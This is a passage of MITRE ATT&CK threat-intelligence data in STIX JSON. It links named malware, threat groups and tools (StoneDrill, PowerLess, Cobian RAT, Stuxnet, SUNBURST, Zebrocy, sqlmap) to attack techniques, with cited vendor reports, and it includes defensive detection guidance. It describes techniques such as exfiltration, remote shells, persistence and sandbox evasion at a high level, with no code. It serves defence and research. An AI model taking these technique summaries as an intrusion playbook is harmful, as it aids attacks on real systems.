2019)","relationship_type":"uses","source_ref":"malware--687c23e4-4e25-4ee7-a870-c5e002511f54","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54399f5a-a8ee-4f77-a363-23dd0033af12","type":"relationship","created":"2019-05-14T16:58:13.888Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf","source_name":"Kaspersky StoneDrill 2017"}],"modified":"2019-06-07T20:52:37.043Z","description":"[StoneDrill](https://attack.mitre.org/software/S0380) can obtain the current date and time of the victim machine.(Citation: Kaspersky StoneDrill 2017)\t","relationship_type":"uses","source_ref":"malware--8dbadf80-468c-4a62-b817-4e4d8b606887","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--543dce32-6988-4e49-ad83-4405d1a143ae","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","source_name":"Lookout Dark Caracal Jan 2018"}],"modified":"2019-07-16T15:35:20.965Z","description":"[Dark Caracal](https://attack.mitre.org/groups/G0070) leveraged a compiled HTML file that contained a command to download and run an executable.(Citation: Lookout Dark Caracal Jan 2018)","relationship_type":"uses","source_ref":"intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12","target_ref":"attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--543dd290-70eb-402f-8d40-93b4a240d4a1","created":"2022-06-02T13:34:56.885Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cybereason PowerLess February 2022","url":"https://www.cybereason.com/blog/research/powerless-trojan-iranian-apt-phosphorus-adds-new-powershell-backdoor-for-espionage","description":"Cybereason Nocturnus. (2022, February 1). PowerLess Trojan: Iranian APT Phosphorus Adds New PowerShell Backdoor for Espionage. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PowerLess](https://attack.mitre.org/software/S1012) has the ability to exfiltrate data, including Chrome and Edge browser database files, from compromised machines.(Citation: Cybereason PowerLess February 2022)\n","modified":"2022-06-02T20:47:48.145Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--35ee9bf3-264b-4411-8a8f-b58cec8f35e4","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--543e5a1c-f278-4a5e-afbd-5684ac314ddf","created":"2022-10-19T21:29:14.955Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T21:29:14.955Z","description":"Monitor for newly constructed network connections to web and cloud services associated with abnormal or non-browser processes.","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--543fe202-892b-4282-b691-090029b56b1f","type":"relationship","created":"2019-01-29T21:40:37.806Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Cobian Aug 2017","url":"https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat","description":"Yadav, A., et al. (2017, August 31). Cobian RAT – A backdoored RAT. Retrieved November 13, 2018."}],"modified":"2020-03-20T16:59:44.617Z","description":"[Cobian RAT](https://attack.mitre.org/software/S0338) can launch a remote command shell interface for executing commands.(Citation: Zscaler Cobian Aug 2017)","relationship_type":"uses","source_ref":"malware--aa1462a1-d065-416c-b354-bedd04998c7f","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5449b7c0-73f8-474f-8444-0182112d7c57","created":"2022-09-07T19:15:47.968Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T14:57:33.542Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors used WMI queries to determine if analysis tools were running on a compromised system.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5449bc94-31c6-471a-8525-23af9cdc25bd","type":"relationship","created":"2021-01-25T13:58:25.189Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CyberBit Dtrack","url":"https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/","description":"Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}],"modified":"2021-03-12T21:10:52.962Z","description":"One of [Dtrack](https://attack.mitre.org/software/S0567) can hide in replicas of legitimate programs like OllyDbg, 7-Zip, and FileZilla.(Citation: CyberBit Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--544b4f94-a1b6-49cd-adf8-c0b6499e8acd","created":"2020-12-14T17:34:58.817Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T23:46:57.985Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) uses encrypted configuration blocks and writes encrypted files to disk.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--544cc12a-53c4-4a56-b480-bfc79beee93c","created":"2019-09-10T14:30:31.699Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Carbon Black Shlayer Feb 2019","description":"Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.","url":"https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html"},{"source_name":"Shlayer jamf gatekeeper bypass 2021","description":"Jaron Bradley. (2021, April 26). Shlayer malware abusing Gatekeeper bypass on macOS. Retrieved September 22, 2021.","url":"https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/"},{"source_name":"20 macOS Common Tools and Techniques","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T16:35:18.495Z","description":"[OSX/Shlayer](https://attack.mitre.org/software/S0402) can use the chmod utility to set a file as executable, such as chmod 777 or chmod +x.(Citation: 20 macOS Common Tools and Techniques)(Citation: Carbon Black Shlayer Feb 2019)(Citation: Shlayer jamf gatekeeper bypass 2021)","relationship_type":"uses","source_ref":"malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7","target_ref":"attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--544e4a14-6aae-4950-8fed-d1246a98ed06","created":"2023-12-26T19:44:49.454Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"},{"source_name":"Microsoft Analyzing Solorigate Dec 2020","description":"MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021.","url":"https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:51:41.410Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) collected device `UPTIME`.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54501ca8-7205-4b83-87cb-b2235bc0ec71","type":"relationship","created":"2021-09-28T19:47:10.887Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-11T17:43:50.352Z","description":"[Ferocious Kitten](https://attack.mitre.org/groups/G0137) has used right-to-left override to reverse executables’ names to make them appear to have different file extensions, rather than their real ones.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--6566aac9-dad8-4332-ae73-20c23bad7f02","target_ref":"attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--545a618f-9fe4-4573-a0a0-ecfcef0b407c","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2020-03-20T18:07:11.552Z","description":"Several [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) tools encode data with base64 when posting it to a C2 server.(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--545efdec-5375-43e9-b369-0f6367b067dd","created":"2022-02-01T15:08:45.245Z","x_mitre_version":"1.0","external_references":[{"source_name":"AADInternals Documentation","url":"https://o365blog.com/aadinternals","description":"Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AADInternals](https://attack.mitre.org/software/S0677) can send phishing emails containing malicious links designed to collect users’ credentials.(Citation: AADInternals Documentation)","modified":"2022-04-18T17:22:04.756Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--54607e53-5952-47f1-bffa-72379bbf58c8","created":"2024-08-08T18:17:30.579Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-08T18:17:30.579Z","description":"[ROADSWEEP](https://attack.mitre.org/software/S1150) can pipe command output to a targeted process.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--be471c69-12d5-4bcc-9dad-3d42c3dbca4b","target_ref":"attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--54618e1c-a082-442b-a47a-04fd36205507","created":"2024-08-28T14:21:49.216Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-28T14:21:49.216Z","description":"Monitor for traffic leveraging common publish/subscribe protocols to/from known-bad or suspicious domains and analyze traffic flows that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, or gratuitous or anomalous traffic patterns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--241f9ea8-f6ae-4f38-92f5-cef5b7e539dd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5463f157-7cab-4e9d-bb68-6179972087b6","type":"relationship","created":"2020-11-13T18:52:29.081Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM Grandoreiro April 2020","url":"https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/","description":"Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020."},{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T21:33:02.513Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can use run keys and create link files in the startup folder for persistence.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--546bc8ea-9330-47a4-a5d1-d3fe89b1382b","type":"relationship","created":"2020-09-08T15:46:10.564Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne FrameworkPOS September 2019","url":"https://labs.sentinelone.com/fin6-frameworkpos-point-of-sale-malware-analysis-internals-2/","description":"Kremez, V. (2019, September 19). FIN6 “FrameworkPOS”: Point-of-Sale Malware Analysis & Internals. Retrieved September 8, 2020."},{"source_name":"Crowdstrike Global Threat Report Feb 2018","description":"CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.","url":"https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report"},{"description":"Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.","url":"https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf","source_name":"Visa FIN6 Feb 2019"}],"modified":"2020-10-19T18:48:18.059Z","description":"(Citation: SentinelOne FrameworkPOS September 2019)(Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: Visa FIN6 Feb 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"malware--1cdbbcab-903a-414d-8eb0-439a97343737","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--546cf516-55b1-49cf-9807-5752c222f906","created":"2022-03-15T19:56:31.064Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.410Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has purchased hosting servers with virtual currency and prepaid cards.(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--546fc347-7844-4721-8ec4-dbf45e8ca1e7","type":"relationship","created":"2019-07-16T21:00:11.769Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture SNAKEMACKEREL Nov 2018","url":"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50","description":"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."},{"source_name":"CISA Zebrocy Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."}],"modified":"2020-12-22T18:45:21.898Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) has exfiltrated data to the designated C2 server using HTTP POST requests.(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: CISA Zebrocy Oct 2020) ","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5470513c-97dd-4f7f-9ebe-04037a18fe8c","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ACSC Email Spoofing","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.","url":"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"},{"source_name":"Microsoft Anti Spoofing","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"},{"source_name":"Elastic - Koadiac Detection with EQL","description":"Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.","url":"https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-31T04:18:44.574Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5473acfd-2cb3-45a8-97cb-c3962c606f1e","type":"relationship","created":"2020-11-16T19:36:31.572Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-16T19:36:31.572Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) can check for specific usernames, computer names, device drivers, DLL's, and virtual devices associated with sandboxed environments and can enter an infinite loop and stop itself if any are detected.(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--54784a8e-d827-4761-87ce-68ed55cc25f9","created":"2021-03-05T18:54:56.634Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malwarebytes Higaisa 2020","description":"Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021.","url":"https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/"},{"source_name":"Zscaler Higaisa 2020","description":"Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021.","url":"https://www.zscaler.com/blogs/security-research/return-higaisa-apt"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:19:33.795Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) used Base64 encoded compressed payloads.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54785e03-e2dd-42f5-8b16-59eb2c039eb9","type":"relationship","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.840Z","description":"Monitor executed commands and arguments to detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Command-line Logging","description":"Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.","url":"https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--547b575e-bc3c-488a-ae38-8bf6387b33f5","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"sqlmap Introduction","description":"Damele, B., Stampar, M. (n.d.). sqlmap. Retrieved March 19, 2018.","url":"http://sqlmap.org/"}],"modified":"2018-10-17T00:14:20.652Z","description":"[sqlmap](https://attack.mitre.org/software/S0225) can be used to automate exploitation of SQL injection vulnerabilities.(Citation: sqlmap 